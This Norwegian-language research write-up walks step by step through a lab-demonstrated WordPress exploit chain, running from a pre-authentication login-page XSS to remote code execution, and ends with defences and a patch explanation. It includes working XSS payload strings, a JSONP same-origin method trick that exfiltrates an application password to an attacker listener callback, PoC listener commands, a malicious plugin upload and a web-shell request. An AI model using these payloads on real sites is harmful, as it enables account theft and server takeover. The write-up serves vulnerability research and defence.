Kun autorisert testing.
Alt nedenfor ble kjørt mot et lokalt laboratorium (WordPress 7.0.2 på localhos). Ikke bruk disse teknikkene mot systemer du ikke eier eller har eksplisitt tillatelse til å teste.
Sammendrag for ledelsen
XSS2Shell er ikke én enkelt feil — det er en sjustegs utnyttelseskjede som starter med ett tegn (< etterfulgt av et mellomrom) som omgår to forskjellige HTML-parsere på WordPresss innloggingsside, og ender med PHP som kjøres på serveren som www-data.
Hva som gjør det farlig:
- Trinn 1 krever null autentisering — hvem som helst kan utløse JavaScript på
wp-login.php. - Det ligger i WordPress Core — ikke et programtillegg; praktisk talt alle støttede installasjoner siden 2016 er berørt.
- Det bruker WordPresss egen kode —
user-profile.js, REST JSONP, applikasjonspassord, opplasting av programtillegg — som verktøy. - Full RCE er demonstrert og erkjent av WordPress — selv om det krever å lure en pålogget administrator til ett klikk.
Denne artikkelen går gjennom hvert steg med skjermbilder fra vårt lokale laboratorium.
Labmiljøet
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 på http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Alle WordPress-sider eksponerer /wp-login.php. Den siden er inngangspunktet for hele kjeden.
Steg 0: Parser-differansen (rotårsak)
Når innlogging mislykkes, gjengir WordPress det innsendte brukernavnet i en feilmelding. Brukernavnet går gjennom to sanitiserere som er uenige om hva en «tag» er:
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Nyttelasten bruker et mellomrom etter<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XPå sårbar WordPress 7.0.2 overlever dette sanitering og blir aktivt DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
På patchet WordPress 7.0.4 er samme nyttelast HTML-escaped i feilmeldingen — ingen aktive elementer.
Denne feilen har eksistert siden WordPress 4.7 (2016) og ble oversett av flere år med sikkerhetsrevisjoner.
Steg 1: Pre-autentiserings-XSS (ingen innlogging kreves)
Injiserte DOM-noder samsvarer med selektorer som WordPresss egen user-profile.js ser etter på innloggingssiden (lastet for tilbakestilling av passord):
.reset-pass-submit .wp-generate-pwklikkes automatisk ved sideinnlasting- Klikket bobler opp til
#color-pickers delegerte behandler - Vaktsjekk
user_id === checkuser_idpasserer fordi begge erundefined - jQuery POSTer til
ajaxurl— menajaxurlfinnes ikke på innloggingssiden…
Med mindre vi overstyrer den:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Elementet <area id=ajaxurl> blir til window.ajaxurl. jQuery kaller .toString() → returnerer href. WordPress REST returnerer JSONP → jQuery globalEval() → alert()kjører på WordPress-opprinnelsen.

Send inn skjemaet (eller åpne demo/stage1-preauth-xss.html og klikk Kjør trinn 1):

Konsekvenser på dette trinnet alene: legitimasjonsfisking på det ekte domenet, øktkapring, same-origin API-kall — uten noen form for autentisering.
Steg 2: Sosial manipulering — adminklikket
Trinn 2–7 krever at en innlogget administrator åpner en angriper-kontrollert side. Dette er friksjonen som holder CVSS under 10 — men det er realistisk for målrettede angrep.
Administratoren kan motta: «Økten din utløp — klikk her for å autentisere på nytt.»

Når det klikkes, vil angripersiden:
- Åpner et barnepopup-vindu (
about:blank) - Omdirigerer hovedvinduet til WordPresss autorisasjonsside for applikasjonspassord
- Skriver et XSS-skjema inn i det underordnede popup-vinduet og sender det automatisk til
wp-login.php

Trinn 3: Same-Origin Method Execution (SOME) — automatisk godkjenning
Det underordnede vinduets XSS-nyttelast endrer JSONP-tilbakekallet fra alert til:
window.opener.approve.clickWordPress REST pakker inn svaret:
/**/window.opener.approve.click({...})Kjøretiden løser window.opener (overordnet vindu) → .approve (#approve-knappen) → .click(). Applikasjonspassordets Godkjenn-knapp klikkes automatisk — uten brukerinteraksjon på den siden.

Legg merke til tilbakekallings-URLen på siden: legitimasjon vil bli sendt til http://127.0.0.1:9090/callback?...&password=[------].
Trinn 4: Henting av applikasjonspassord
WordPress oppretter et nytt applikasjonspassord og omdirigerer til angriperens success_url med legitimasjonen i spørringsstrengen:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXAngriperen har nå HTTP Basic auth-legitimasjon for WordPress REST API — fra administratorens egen økt, uten at administratoren tastet inn noe etter det innledende lenkeklikket.
Trinn 5: Publiser angriper-kontrollert side
Ved hjelp av det stjålne applikasjonspassordet sender angriperen en POST til /wp-json/wp/v2/pages og publiserer en side med innebygd JavaScript. Administratorer har unfiltered_html-tillatelsen — script-tagger overlever.
Trinn 6: Plugin-opplasting via adminøkt
Angriperens JavaScript (som kjører i administratorens nettleser på den publiserte siden):
- Henter
/wp-admin/plugin-install.php?tab=uploadfor opplastings-nonce - Sender en ondsinnet ZIP via POST til
/wp-admin/update.php?action=upload-plugin - WordPress pakker den ut til
wp-content/plugins/xss2shell/
Programtillegget trenger ikke å være aktivert. PHP-filer i programtilleggets mappe er direkte tilgjengelige via nettet.
Trinn 7: Ekstern kjøring av kode
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiSvar:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Angriperen kjører nå vilkårlige kommandoer som webserveren sin bruker — les wp-config.php (databaselegitimasjon), dump databasen, beveg deg lateralt.
Fullstendig PoC-terminalutdata:

Hele kjeden i et overblikk
sequenceDiagram participant A as Angriper-server participant V as Offerets nettleser participant W as WordPress 7.0.2 Note over V,W: Admin er innlogget V->>A: Åpner phishing-lenke (1 klikk) A->>V: Angriper-HTML + barnepopup V->>W: Hovedvindu → authorize-application.php V->>W: Barn POST-er XSS-nyttelast til wp-login.php W->>V: JSONP kjører window.opener.approve.click Note over V,W: Godkjenn-knapp klikket automatisk W->>A: Omdirigering med applikasjonspassord A->>W: REST API publiserer side (Basic auth) V->>W: Admin besøker side → laster opp programtillegg ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-dataHvor farlig er det egentlig?
Hva er garantert (høy sikkerhet)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Hva krever ytterligere betingelser (RCE-bane)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Alvorlighetsgradjustering
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Konklusjon: Dette er ikke en ormbar zero-click RCE som Log4Shell. Det er en dyptgående teknisk sårbarhet på kjernenivå som berører ~43 % av nettet, der:
- Trinn 1 alene er en alvorlig pre-auth XSS på innloggingssiden
- Den fullstendige kjeden gjør ett administratorklikk om til et kompromittert serversystem
- Rotårsaken (parser-differensial) gjelder for enhver kodebase som bruker flere HTML-parsere
WordPresss eget sikkerhetsbulletin sier at RCE krever «betingelser utenfor angriperens kontroll» og «vellykket sosial manipulering.» Det er nøyaktig — men den demonstrerte kjeden gjør disse betingelsene oppnåelige med én enkelt lenke.
Reproduser hele kjeden lokalt
# 1. Start lab make up # 2. Aktiver applikasjonspassord over HTTP (kun lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Start PoC-lytter python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. I nettleseren: # a. Logg inn som admin på http://localhost:9080/wp-login.php # b. Åpne http://127.0.0.1:9091/phishing-sim.html # c. Klikk «Åpne angriper-side» (tillat popup-vinduer) # d. Vent på terminalutdata som viser shell + whoamiForsvar
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Fiksen legger til esc_html() på brukernavnet i innloggingsfeilstien — og sikrer at strengen behandles som tekst, ikke re-tolkes som HTML.
Hvorfor dette er viktig for sikkerhetsforskning
Hver lenke i kjeden er individuelt kjedelig:
- Parser-differensial → lav alvorlighetsgrad, vedlikeholdsoppgave
- Feil skript lastet på innloggingssiden → lav
- JSONP-tilbakeringing validert av regex → middels
- Applikasjonspassord i omdirigerings-URL → middels
- Programtilleggskatalog kjører PHP uten aktivering → kjent design
Satt sammen er de CVSS 8,9 og et skall.
Lærdommen: når du vurderer XSS-funn, spør «hva er allerede lastet på denne siden, og hva vil det gjøre hvis jeg gir det de riktige DOM-nodene?» Alvorlighetsgrad er en egenskap ved kjeden, ikke den individuelle feilen.



